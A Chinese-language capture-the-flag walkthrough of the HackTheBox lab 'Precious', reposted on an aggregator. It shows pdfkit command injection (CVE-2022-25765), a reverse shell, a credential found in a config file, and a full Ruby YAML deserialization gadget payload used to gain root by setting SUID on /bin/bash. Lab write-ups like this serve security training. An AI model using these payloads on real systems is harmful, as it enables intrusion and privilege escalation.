HackTheBox Precious CVE-2022-25765利用,YAML反序列化攻击提权

news2024/11/25 0:57:08

在这里插入图片描述

靶机网址:

https://app.hackthebox.com/machines/Precious

枚举

使用nmap枚举靶机

nmap -sC -sV 10.10.11.189

在这里插入图片描述

发现域名,我们本地DNS解析一下

echo "10.10.11.189 precious.htb" >> /etc/hosts

然后访问网站

CVE-2022-25765利用

在这里插入图片描述

他的功能是将网站页面转换成PDF文件,我们本地用python开启一个http服务

python3 -m http.server 80

返回网站,然后输入

在这里插入图片描述

在这里插入图片描述

他将我目录下的文件转换为PDF了,我们保存一下这个pdf文件
在这里插入图片描述

在这里插入图片描述

exiftool 4pukysg1oivmrhiow532m9v4olsfv3p2.pdf

通过分析这个PDF文件,发现他使用的是pdfkit v0.8.6

在这里插入图片描述

通过google搜索,发现这个版本存在CVE-2022-25765漏洞

https://security.snyk.io/vuln/SNYK-RUBY-PDFKIT-2869795

在这里插入图片描述

在这里插入图片描述

我们可以远程执行代码,poc为

http//ip?name=%20`command`

我们返回网站执行试试

在这里插入图片描述
在这里插入图片描述

成功执行了我们的命令,现在我们直接反弹shell即可

首先先用nc监听一个端口

在这里插入图片描述

https://www.revshells.com/

在这里插入图片描述

选择python3,修改ip和端口,回到靶机网页,然后粘贴这个命令即可

在这里插入图片描述

在这里插入图片描述

在home目录里找了一下,发现ruby用户目录下有一个奇怪的文件夹

在这里插入图片描述

在这里插入图片描述

config文件里存放着henry用户的密码,我们ssh登录即可

ssh henry@10.10.11.189

在这里插入图片描述

YAML反序列化攻击提权

在输入sudo -l时,发现有一个文件可以以sudo命令执行

在这里插入图片描述

在这里插入图片描述

# Compare installed dependencies with those specified in "dependencies.yml"                                                                                                                                                                                                                                                
require "yaml"                                                                                                                                                                                                                                                                                                             
require 'rubygems'                                                                                                                                                                                                                                                                                                         
                                                                                                                                                                                                                                                                                                                           
# TODO: update versions automatically                                                                                                                                                                                                                                                                                      
def update_gems()                                                                                                                                                                                                                                                                                                          
end                                                                                                                                                                                                                                                                                                                        
                                                                                                                                                                                                                                                                                                                           
def list_from_file                                                                                                                                                                                                                                                                                                         
    YAML.load(File.read("dependencies.yml"))                                                                                                                                                                                                                                                                               
end                                                                                                                                                                                                                                                                                                                        
                                                                                                                                                                                                                                                                                                                           
def list_local_gems                                                                                                                                                                                                                                                                                                        
    Gem::Specification.sort_by{ |g| [g.name.downcase, g.version] }.map{|g| [g.name, g.version.to_s]}                                                                                                                                                                                                                       
end                                                                                                                                                                                                                                                                                                                        
                                                                                                                                                                                                                                                                                                                           
gems_file = list_from_file                                                                                                                                                                                                                                                                                                 
gems_local = list_local_gems                                                                                                                                                                                                                                                                                               
                                                                                                                                                                                                                                                                                                                           
gems_file.each do |file_name, file_version|                                                                                                                                                                                                                                                                                
    gems_local.each do |local_name, local_version|                                                                                                                                                                                                                                                                         
        if(file_name == local_name)                                                                                                                                                                                                                                                                                        
            if(file_version != local_version)                                                                                                                                                                                                                                                                              
                puts "Installed version differs from the one specified in file: " + local_name                                                                                                                                                                                                                             
            else
                puts "Installed version is equals to the one specified in file: " + local_name
            end
        end
    end
end

通过google发现,yaml有一个反序列化的漏洞

在这里插入图片描述

payload为

https://gist.github.com/staaldraad/89dffe369e1454eedd3306edc8a7e565#file-ruby_yaml_load_sploit2-yaml

在这里插入图片描述

---
- !ruby/object:Gem::Installer
    i: x
- !ruby/object:Gem::SpecFetcher
    i: y
- !ruby/object:Gem::Requirement
  requirements:
    !ruby/object:Gem::Package::TarReader
    io: &1 !ruby/object:Net::BufferedIO
      io: &1 !ruby/object:Gem::Package::TarReader::Entry
         read: 0
         header: "abc"
      debug_output: &1 !ruby/object:Net::WriteAdapter
         socket: &1 !ruby/object:Gem::RequestSet
             sets: !ruby/object:Net::WriteAdapter
                 socket: !ruby/module 'Kernel'
                 method_id: :system
             git_set: id
         method_id: :resolve

在这里插入图片描述

这里读取的是一个名叫dependencies.yml的文件,所以我们要把payload的文件名改成这个

在这里插入图片描述

执行

sudo /usr/bin/ruby /opt/update_dependencies.rb

在这里插入图片描述

成功执行了id命令,接下来赋予/bin/bash suid权限即可提权

在这里插入图片描述

执行

sudo /usr/bin/ruby /opt/update_dependencies.rb

在这里插入图片描述

成功赋予suid权限

/bin/bash -p

在这里插入图片描述

成功获得root权限

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/84367.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

网络流量分析帮助企业提升OA应用性能(一)

需求简介 某外高桥公司的OA系统是其重要的业务系统,OA系统负责人表示,部分用户反馈,访问OA系统时比较慢。需要通过分析系统看一下实际情况。 信息部已对企业领导定义了独立的组,本次要主动分析OA使用体验快慢。如果OA系统存在访…

mybatis入门02:Mybatis核心文件配置

目录 2.1 MyBatis核心配置文件层级关系 2.2MyBatis常用配置解析 1.environments标签 2.mapper标签 3.properties标签 4.typeAlisases标签 2.3 Mybatis相应的API 1.SqlSessionFactory工厂构造器SqlSessionFactoryBuilder 2.SqlSession工厂对象SqlSessionFactory 3.SqlSe…

实时监控网络流量,精准辨别网络性能瓶颈

网络流量反映网络运作状态,是辨别网络运行是否正常的关键指标,通过对网络流量进行监测不仅能反映交换机、路由器等设备的工作状态,更能体现整个网络资源的运行性能。同时,用户在网络中的行为可以通过其承载的流量动态来展现&#…

使用个从版gitee时向远程库push修改后内容时报remote: error: File: xxx 129.03 MB, exceeds 100.00 MB

1、报错时截图如下(我以下所有命令都是在Git Bash中执行的): 这是先前git push报的提示,明显说LFS(即large file system,此处大文件应该就是指过超过100M的单一文件)仅仅针对企业版gitee用户才…

.Net 7 CLR和ILC编译函数过程

楔子 由于甲方的需求,随着研究深入,发现CLR编译函数与ILC编译是两种不同的截然方式,除了JIT部分编译一样,其它部分貌似完全不一。 本篇来梳理这些东西。QQ:676817308。wx公众号:江湖评谈 示例: 作为例子…

OH----基于RK3568的AB分区功能,bsp部分

1、背景: OH master 主线 ,RK3568平台添加AB分区功能,uboot部分完成对ab分区标志位的读取解析,并加载和进入对应的分区,如: kernel_a 或者 kernel_b 2、环境: rk3568 Uboot代码下载&#xff…

股票L2接口和L1接口有什么差距?

股票L2数据的主要特点是能看到资金流向和十档买卖盘,比L1数据更加清晰和全面。 但是就现在的股票市场而言,也不能全部听信L2数据。 很多数据也是庄家做出来的,就是为了给散户看,所以全面分析基本面和技术面才是最重要的。 而且…

[附源码]计算机毕业设计个人博客系统Springboot程序

项目运行 环境配置: Jdk1.8 Tomcat7.0 Mysql HBuilderX(Webstorm也行) Eclispe(IntelliJ IDEA,Eclispe,MyEclispe,Sts都支持)。 项目技术: Springboot mybatis MavenVue等等组成,B/S模式…

【CSS】多行文字保持垂直居中,移动端布局,grid布局,居中总结

❤️ Author: 老九 ☕️ 个人博客:老九的CSDN博客 🙏 个人名言:不可控之事 乐观面对 😍 系列专栏: 文章目录多行文字垂直居中方法一方法2方法3方法四移动端布局viewport标签典型的手机网页设计grid布局grid…

基于C语言+SQL Server2008实现(控制台)图书管理系统【100010024】

第1章 概述 1.1项目背景 随着科技的发展,尤其是计算机技术的迅猛发展,图书馆管理的问题从以往的人工管理,到现在的电脑化,系统化,是对图书馆管理方法的质的飞跃,这些技术不仅让图书馆管理变得更加方便、快…

【Java EE初阶】创建线程的五种方式

文章目录1. 继承Tread,重写run()2. 实现Runnable接口,重写run()3. 使用匿名内部类,继承Thread4. 使用匿名内部类,实现Runnable5. 使用lambda表达式1. 继承Tread,重写run() 示例:pandas 是基于NumPy 的一种工具,该工具…

Kafka系列之:使用Kafka Manager实现leader分区平衡和broker节点上分区平衡

Kafka系列之:使用Kafka Manager实现leader分区平衡和broker节点上分区平衡 一、需求背景二、leader分区不平衡三、实现leader分区不平衡四、分区在节点不平衡五、实现分区在节点平衡一、需求背景 kafka节点扩容,分区不平衡现在需要leader分区平均分配在每个节点上同时分区副本…

基于Python+Django的项目申报审核平台系统

在各学校的教学过程中,django项目校内申报平台系统是一项非常重要的事情。随着计算机多媒体技术的发展和网络的普及。采用当前流行的B/S模式以及3层架构的设计思想通过Python技术来开发此系统的目的是建立一个配合网络环境的django高校学生项目校内申报平台&#xf…

OMV 5.6入坑指南(一)-openmediavalut 5.6安装

一、DIY NAS服务器 百度网盘里攒了一堆电影、电视剧,想下载到电脑里,买了个4T硬盘,然后发现不够用,然后又买了个还是不够用,然后自己又不想开电脑看电视电影,平时看电视电影都是在ipad上看的,台…

可视化管线

VTK中的可视化管线可用于读取或创建数据、分析和创建此数据的派生版本,并将数据写入磁盘或将其传递给渲染引擎进行显示。例如,您可以从磁盘读取一个三维数据体,对其进行处理以创建一组三角形,这些三角形通过该数据体表示一个等值曲…

全栈Jmeter接口测试(六):json断言元件,jmeter参数化实现

Jmeter(12):json断言元件 json断言元件介绍: json断言元件与响应断言元件的功能类型,它只针对响应正文为json数据格 式的内容进行断言功能。 添加路径:右击http请求——断言——json断言 如下图展示: json断言元件字…

JAVA毕业设计——基于SpringBoot和thymeleaf的疫情信息管理系统 (源码+数据库)

github代码地址 https://github.com/ynwynw/CoronavirusManage-public 毕业设计所有选题地址 https://github.com/ynwynw/allProject 基于SpringBoot及thymeleaf搭建的疫情信息管理系统 (源码数据库)034 一、系统介绍 疫情信息管理系统应当具备两种对象,疫情管理…

【论文精读10】MVSNet系列论文详解-PatchmatchNet

PatchmatchNet,论文名为:PatchmatchNet: Learned Multi-View Patchmatch Stereo,本篇论文结合了较多过往文章的优化思想和类似模块,因此可能要更复杂一些。 本文是MVSNet系列的第10篇,建议看过【论文精读1】MVSNet系列…

【嵌入式linux】修改网口MAC地址

使用带有网络功能的设备时,如果局域网内可能会连接很多台设备,为了保证网络通信正常,要确保每台设备的硬件MAC地址都不相同,一般在批量生产的时候可以根据产品序列号(sn号)固化每台设备的MAC地址,防止出现MAC冲突的问题…

【云原生】Prometheus PromQL讲解与实战操作

文章目录一、PromQL介绍二、四种指标类型1)counter(计数器)2)gauge (仪表类型)3)Histogram(直方图类型) 和 Summary(摘要类型)三、表达式四种数据…